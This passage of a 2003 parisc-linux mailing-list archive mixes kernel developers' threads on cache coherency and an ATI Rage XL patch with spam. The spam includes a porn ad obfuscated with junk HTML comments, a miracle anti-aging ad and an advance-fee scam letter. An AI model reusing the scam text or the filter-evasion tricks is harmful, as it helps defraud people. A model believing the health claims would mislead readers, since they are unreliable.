<tr><td align=3D"center" valign=3D"middle"><b><a href=3D"http://=
transference@www.surfbling.com/ls/index.html?bragg"><font color=3D"=
#CC0000" face=3D"Arial, Helvetica, sans-serif" size=3D"4">Enter
    h<!-- residual -->e<!-- kibbutzim -->re fo<!-- discussant -->=
r a F<!-- britain -->R<!-- summers -->E<!-- operable -->E to=
<!-- amtrak -->ur</font><font color=3D"#380071" face=3D"Arial, Helve=
tica, sans-serif" size=3D"4"><br>
</font><font size=3D"1" color=3D"#CC0000" face=3D"Arial, Helvetica, sans-s=
erif">Ge<!-- aspen -->t
 a to<!-- brighton -->ur of the h<!-- marksmen -->ott<!-- =
bun -->est le<!-- sanguine -->sbi<!-- sawyer -->an si<!=
-- awesome -->te wi<!-- shay -->thout c<!-- triton -->o=
stin<!-- barfly -->g you a ce<!-- bismarck -->nt. Wh<!-- =
delude -->y not see
 what all the f<!-- divisible -->uss is about!</font></a></b><!-- =
kendall --></td>
</tr></table></body><!-- doctoral -->tcobzebteqmi  lnafpjmwjfxsod
zbg j

--BA1C5C0DB4DA_E5_E.B5--



From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Les Burkett" <tret93yqh@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PROTECT YOUR CHILDREN From Offensive Language On Your TV With ProtecTV................... sl sptprxhgsisy i g
Date: Tue, 14 Oct 2003 07:25:05 +0500
Lines: 29
Approved: news@gmane.org
Message-ID: <p696i1111qgr$bl$jia92m@3ijql7nxizbfh>
Reply-To: "Les Burkett" <tret93yqh@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="3.9CB95.C0.DEC3.D2.621"
X-Trace: ger.gmane.org 1416622872 32594 80.91.229.3 (22 Nov 2014 02:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 13 22:26:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 411A4483E
	for <parisc-linux@parisc-linux.org>; Mon, 13 Oct 2003 22:26:36 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [61.145.139.171])
	by cuprel1.hp.com (Postfix) with SMTP id 0469FA62
	for <parisc-linux@parisc-linux.org>; Mon, 13 Oct 2003 21:26:33 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19813

--3.9CB95.C0.DEC3.D2.621
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<p>Protect Your Children With ProtecTV.<br>
<br>
ProtecTV gives you the power to remove the cursing and offensive <br>
language coming into your home through television and video.<br>
<br>
ProtecTV filters out more than 400 offensive words. <br>
ProtecTV's accuracy is virtually 100%. <br>
ProtecTV works with your TV, VCR, Satellite, Cable Box and DVD player. <br=
>
ProtecTV is easy to connect. <br>
<br>
Get ProtectTV Today - <a href=3D"http://www.coolbrands.net/protectv/">Just=
 Follow This Link</a></p><p>&nbsp;</p>
<p>If you wish to be excluded from future mailings -
<a href=3D"http://www.coolbrands.net/emailremovalmanagementcenter.htm">Go =
Here</a></p>
<br>
<br>
<br>
<br>
<br>vfrno  cuxsffznz u tetzlyldkifixjfxkh y tnp 

--3.9CB95.C0.DEC3.D2.621--



From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Charles Quinn" <bjnqemnf@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Want to go to a party?
Date: Tue, 14 Oct 03 05:54:14 GMT
Lines: 53
Approved: news@gmane.org
Message-ID: <z--1$-$k2c-9q1@5uw6wk0b>
Reply-To: "Charles Quinn" <bjnqemnf@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="A5E72_0__A__7AF6_0"
X-Trace: ger.gmane.org 1416622872 32597 80.91.229.3 (22 Nov 2014 02:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:12 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 00:02:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vdsl-130-13-103-114.phnx.uswest.net (vdsl-130-13-103-114.phnx.uswest.net [130.13.103.114])
	by dsl2.external.hp.com (Postfix) with SMTP id F0127483E
	for <parisc-linux@parisc-linux.org>; Tue, 14 Oct 2003 00:02:49 -0600 (MDT)
Original-Received: from [66.252.154.113] by vdsl-130-13-103-114.phnx.uswest.net id <0163586-59913>; Tue, 14 Oct 2003 05:54:14 +0300
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19814

--A5E72_0__A__7AF6_0
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body text=3D"#000000" link=3D"#000000" vlink=3D"#000000" alink=3D"#000000=
">
<div align=3D"center"><!-- tart --><font size=3D"5" color=3D"#0000=
00" face=3D"Arial">There's a
  P<!-- texaco -->is<!-- knife -->s P<!-- nightgown -->art=
<!-- freewheel -->y on and you're all invite<!-- cross -->d!</fo=
nt>
<table width=3D"541" height=3D"143" border=3D"6" bgcolor=3D"#FFFF00" class=
=3D"border" bordercolor=3D"#FFCC00"><!-- bravura -->
<tr><!-- dunkirk --><td height=3D"131" align=3D"center" valign=3D"mid=
dle" class=3D"txt" style=3D"padding-left: 15; padding-right: 15"
bgcolor=3D=
"#FFFF99">A
 Very w<!-- refugee -->e<!-- finite -->t site for those who lo<=
!-- anomie -->ve f<!-- gullah -->il<!-- pay -->thy pi=
<!-- wreckage -->ss<!-- kimball -->ing 
 fun during s<!-- agreed -->e<!-- appendage -->x. HU<!-- =
gigabit -->GE database of qua<!-- phillips -->lity pi<!-- =
rain -->ctur<!-- embedded -->es 
 and vid<!-- crony -->eos: Pi<!-- lapel -->ss s<!-- =
argonaut -->how<!-- paulo -->ers, G<!-- frigate -->i<!-- =
minesweeper -->rls p<!-- appendices -->iss<!-- mew -->ing, Hi<=
!-- mineral -->dden toil<!-- platonism -->et 
 s<!-- aau -->pyc<!-- divest -->ams, even fe<!-- =
charcoal -->ma<!-- abroad -->le e<!-- barnyard -->jacu<!-- =
threaten -->latio<!-- dietz -->ns! here's a pi<!-- =
equestrian -->ss p<!-- choctaw -->ar<!-- illusory -->ty on and =
you're all invited to C<!-- edifice -->U<!-- mccall -->M! A
 V<!-- madeleine -->E<!-- quantico -->RY w<!-- telephone -->et s=
ite for those who love f<!-- twombly -->il<!-- beachhead -->thy p<=
!-- clothesbrush -->iss<!-- bianco -->ing fu<!-- caiman -->n!<=
br><br><a href=3D"http://route@www.surfbling.com/pt/index.html?=
ada">E<!-- archibald -->nt<!-- cosec -->er he<!-- =
quantitative -->re to experie<!-- graham -->nce
 it</a></td></tr></table><a href=3D"http://blather@www.surfbling.com/=
pt/index.html?laud">C<!-- combustion -->lic<!-- metropolis -->=
k 
 he<!-- indemnity -->re for ha<!-- soft -->rdco<!-- =
moisten -->re m<!-- vary -->ov<!-- firewood -->ies, li<!-=
- wheelhouse -->ve p<!-- bite -->is<!-- workplace -->sing sh<=
!-- blackberry -->ows, toi<!-- deluxe -->let ca<!-- wellesley -=
->ms,<br> x<!-- tracy -->xx p<!-- arnold -->i<!-- =
roy -->ss pi<!-- ltd -->cs and 
 so<!-- attire -->aki<!-- becker -->ng w<!-- hornet -->e=
t or<!-- lenten -->gie<!-- corporate -->s!</a></div></body>

--A5E72_0__A__7AF6_0--



From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Tue, 14 Oct 2003 18:59:52 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <3F8A272E0000157A@ocpmta3.freegates.net>
References: <20031003114959.GM24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622872 32601 80.91.229.3 (22 Nov 2014 02:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
	"Derek Engelhaupt" <derekengelhaupt@rocketmail.com>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 10:59:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81298483E
	for <parisc-linux@parisc-linux.org>; Tue, 14 Oct 2003 10:59:55 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A9SWW-0001od-00; Tue, 14 Oct 2003 18:59:52 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 14 Oct 2003 18:59:52 +0200
In-Reply-To: <20031003114959.GM24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19815

Hi Matthew,

Just comeback to you on this stuff to be sure I well understand :)

>> As I try, without any success :(, to find where 'rules for non-coherent
>aliases'
>> are not respected, I will waiting for a fix.
>
>Well, it's hard.  Consider a page in the page cache.  It has a kernel
>address and one-or-more user addresses.  The user addresses all follow the
>coherency rules but the kernel address doesn't.  If you look in Appendix
F,
>we're not allowed to have multiple write-capable translations to the same
>address.

If I well understand it means that a same real (absolute) address has a different
virtual addresse for each processor?

>I think the only way to solve this is by (ab)using kmap to ensure that
>kernel pages are only accessed via coherent mappings.

I find back an interesting info into <http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008101.html>

where it is mentioned 'ping-pong the translations...'.
Do you think it could be a solution?
(btw Do you have any idea where i can find of the detail way to implement
it?)

thanks again,
    Joel

-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Hin.Zen" <hinzen@blah.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ATI rage xl and C360 (it works!)
Date: Tue, 14 Oct 2003 20:20:14 +0200 (CEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0310141949150.17639@gustlik.softwired.wfc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622873 32605 80.91.229.3 (22 Nov 2014 02:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 12:15:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gustlik.softwired.wfc (unknown [217.153.17.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED6D0483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 12:15:40 -0600 (MDT)
Original-Received: from gustlik.softwired.wfc (localhost [127.0.0.1])
	by gustlik.softwired.wfc (8.12.9/8.12.4) with ESMTP id h9EIKERx018040;
	Tue, 14 Oct 2003 20:20:14 +0200
Original-Received: from localhost (hinzen@localhost)
	by gustlik.softwired.wfc (8.12.9/8.12.4/Submit) with ESMTP id h9EIKEeT018037;
	Tue, 14 Oct 2003 20:20:14 +0200
X-Authentication-Warning: gustlik.softwired.wfc: hinzen owned process doing -bs
X-X-Sender: hinzen@gustlik.softwired.wfc
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19816

Hello List,

last night I accidentally found this:
http://ftp.fi.muni.cz/pub/linux/sgi/people/ppopov/aty_nobiosinit.patch

and patched 2.4.22-pa12 on my C360.
After that the rage xl seems to work just fine [minor problems with
colors and XFree (fbdev mode) running 1280x1024].

Could anybody who owns such a card (or can easily get one) test it please?
(maybe Joel?)

thanks,

-- 
hinzen


From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Patricia Combs" <tjvllink@mailcity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] scientific breakthrough
Date: Tue, 14 Oct 03 21:19:15 GMT
Lines: 109
Approved: news@gmane.org
Message-ID: <d49v-5ty60n-$8691-m@phb46>
Reply-To: "Patricia Combs" <tjvllink@mailcity.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="DC0703FEF6EA._7E8"
X-Trace: ger.gmane.org 1416622873 32612 80.91.229.3 (22 Nov 2014 02:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:13 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 15:15:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BF4D48E0
	for <parisc-linux@parisc-linux.org>; Tue, 14 Oct 2003 15:15:01 -0600 (MDT)
Original-Received: from SD2-4 (unknown [218.13.59.22])
	by cuprel1.hp.com (Postfix) with SMTP id 9751AC5E
	for <parisc-linux@parisc-linux.org>; Tue, 14 Oct 2003 14:14:33 -0700 (PDT)
Original-Received: from [183.57.67.87] by SD2-4 id iJa4R1d15XIY; Tue, 14 Oct 2003 21:19:15 -0100
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19817

--DC0703FEF6EA._7E8
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body text=3D"#FFFFFF" bgcolor=3D"#FFFFFF" link=3D"#FF0000" vlink=3D"#FF00=
00" alink=3D"#00CC00">
 
<center><table BORDER=3D0 CELLSPACING=3D0 COLS=3D1 WIDTH=3D"80=
%" >
<tr>
      <td><font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">As se=
en on NBC, 
        CBS, and CNN, and even Oprah!</font><font color=3D"#000000"> The h=
ealth</font></font> 
        <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">discovery tha=
t actually 
        reverses aging while burning fat,</font> <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">without dieti=
ng or exercise! 
        This proven discovery has even</font> <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">been reported=
 on by major 
        Science Journals.</font> <br>
        <font face=3D"Verdana" size=3D"-1"><font color=3D"#000000">Forget =
aging and 
        dieting forever! </font><font color=3D"#3366FF">And It's Guarantee=
d!</font></font> 
        <br>
         
        <p><font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</f=
ont><font color=3D"#000000"> 
          Reduce body fat and build lean muscle WITHOUT EXERCISE!</font></=
font> 
          <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Enhance sexual performance</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Remove wrinkles and cellulite</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Lower blood pressure and improve cholesterol profile</font></fon=
t> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Improve sleep, vision and memory</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Restore hair color and growth</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Strengthen the immune system</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Increase energy and cardiac output</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Turn back your body's biological clock 10-20 years in 6 months!!=
!</font></font> 
          <br>
           
        <p><b><font face=3D"Verdana" color=3D"#000000"><a href=3D"http://w=
ww.healthsourceonline.biz/cgi-bin/cp-app.cgi?rrc=3DN&pg=3Dprod&ref=3Dhgh&a=
ffl=3D1980">visit 
          us here to learn more</a></font></b> <br>
           
<br> 
<br> 
<br> 
<br> 
<br> 
<BR><BR><BR><BR><BR><BR><BR>
<div align=3D"center">
  <table width=3D"573" cellspacing=3D"0" cellpadding=3D"5" border=3D"1" bo=
rdercolor=3D"#000000" style=3D"border-collapse:collapse">
    <tr> 
      <td bgcolor=3D"#ffffff"> 
        <p><span style=3D"font-family:arial; color:#666666; font-size:10px=
;">Why 
          was this email sent to you? At some point you registered or made=
 a purchase 
          on a Web site with privacy policies explaining that they may sha=
re your 
          information with partners who will send you valuable offers from=
 time 
          to time. </span></p>
        <p><span style=3D"font-family:arial; color:#666666; font-size:10px=
;">If 
          you no longer wish to be notified of the latest scientific break=
throughs 
          or valuable offers, you may simply choose to take yourself out o=
f the 
          database permanently by <a href=3D"http://www.healthsourceonline=
biz/delist.html">choosing 
          this link</a>.</span></p>
      </td>
    </tr>
  </table>
</div>

</table></center></body>
</html>

--DC0703FEF6EA._7E8--



From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luisa Estrada" <mrsluisa_estrada1@tiscali.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Luisa
Date: Tue, 14 Oct 2003 14:46:41 -0700
Lines: 102
Approved: news@gmane.org
Message-ID: <20031014214635.D4899483E@dsl2.external.hp.com>
Reply-To: mrsluisa_estrada1@tiscali.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622873 32616 80.91.229.3 (22 Nov 2014 02:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 15:46:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from twomails2129.com (unknown [80.88.131.236])
	by dsl2.external.hp.com (Postfix) with SMTP id D4899483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 15:46:35 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19818

Hello Dear=2C
It is with heartfelt hope that I write to seek your co-operation and 
assistance
in the context stated below=3A

May I first introduce myself=3A I am Senator Luisa Pimentel Estrada=2Cthe 
first
wife of Joseph Ejercito Estrada=28former head of state and President of 
Philippines=29
who is presently held in detention in a hospital outside 
manilla=2CPhilippines=2E
I got your contact from the internet during the course of my search for
a reliable foreigner who will to assist me in receiving the sum of 
US$20Million
secretly deposited in my favour by my Husband=2E

This money was kept with a Security Company in Amsterdam and I have all
documents with me as of when it was deposited in a Security Vault for 
safe
keeping=2E We have been deliberating on how to invest this fund abroad in
a confidential manner until we came to a conclusion to use it to buy 
estates
and part of it will be used for non-speculative investments in your 
country=2E

However=2Cthe current administration of Gloria Arroyo=28The President of 
Philippines=29
is seeking the death of my husband=2EIn pursuit of this vendetta=2Cthe 
present
Government have resolved to freeze all known assets of Joseph Ejercito 
Estrada
including properties at home and abroad and are presently embarking on 
to
seize the various bank accounts of my Husband in Switzerland=2CUK and 
Australia=2E
In fact=2C the attack on our family =28The Estrada's=29 is so devastated to 
an
extent of seizing our travelling passport=2Cfamily accounts=2Ctrying some 
members
of our family in court for offences allegedly committed by my Husband 
and
even restrict us from seeing my husband=2E

My son was released from detention on the agreement to refund $1=2E5 
million
to the Government of Philippines allegedly stolen by my Husband=2E You 
can
find this on=3B
http=3A=2F=2Flatelinenews=2Ecom=2Fps=2Fenglish=2F29432=2Eshtml
http=3A=2F=2Fwww=2Etime=2Ecom=2Ftime=2Fasia=2Fmagazine=2F2001=2F0129=2Fcover1=2Ehtml

We are not ready to comply to this as most of the family assets and 
bank
accounts abroad have been Frozen by the Arroyo regime=2E In view of this 
grevious
threat to our Economic and personal survival=2C our family trustee have 
secretly
protected the deposit=2C you are to assits us travelling to Amsterdam to 
lay
claims of the consignment with the aid of all legal documents that will
be forwarded to you as time goes on=2E

In the meantime=2Cthere is a travelling embargo on the family members and
our local accounts are seized as well as our telephone lines have been 
bugged=2EFor
this reason=2Ctelephone conversation will not be an ideal means of 
communication
because our calls will be recorded=2EWe are currently being catered for 
by
the Government of Philippines in other to monitor and control our 
financial
activities=2Ewe cannot be held responsible for the sins of my Husband=2E In
view of this plight=2C I expect you to be trustworthy and kind enough to 
respond
to this distressed call to save our family from a hopeless future=2EAnd 
if
you agree to help=2C we shall discuss the disbursement ratio in our next 
correspondence
after we have been acquainted=2E

I look forward to your quick response while thanking you for your 
co-operation=2E
In view of all above details=2C I request you to keep this letter and 
co-operation
highly confidential even if you are not interested=2E

Best wishes=2C

Senator Luisa Pimentel Estrada=2E

NB=3A
Please note that email correspondence will be safer due to the fact 
that
all our phone lines have been bugged=2E









From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Tue, 14 Oct 2003 22:52:42 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20031015045242.GB7351@colo.lackof.org>
References: <20031003114959.GM24824@parcelfarce.linux.theplanet.co.uk> <3F8A272E0000157A@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622873 32626 80.91.229.3 (22 Nov 2014 02:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:13 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org,
	Derek Engelhaupt <derekengelhaupt@rocketmail.com>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 22:52:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A5F848AC
	for <parisc-linux@parisc-linux.org>; Tue, 14 Oct 2003 22:52:45 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CB77F298038; Tue, 14 Oct 2003 22:52:43 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
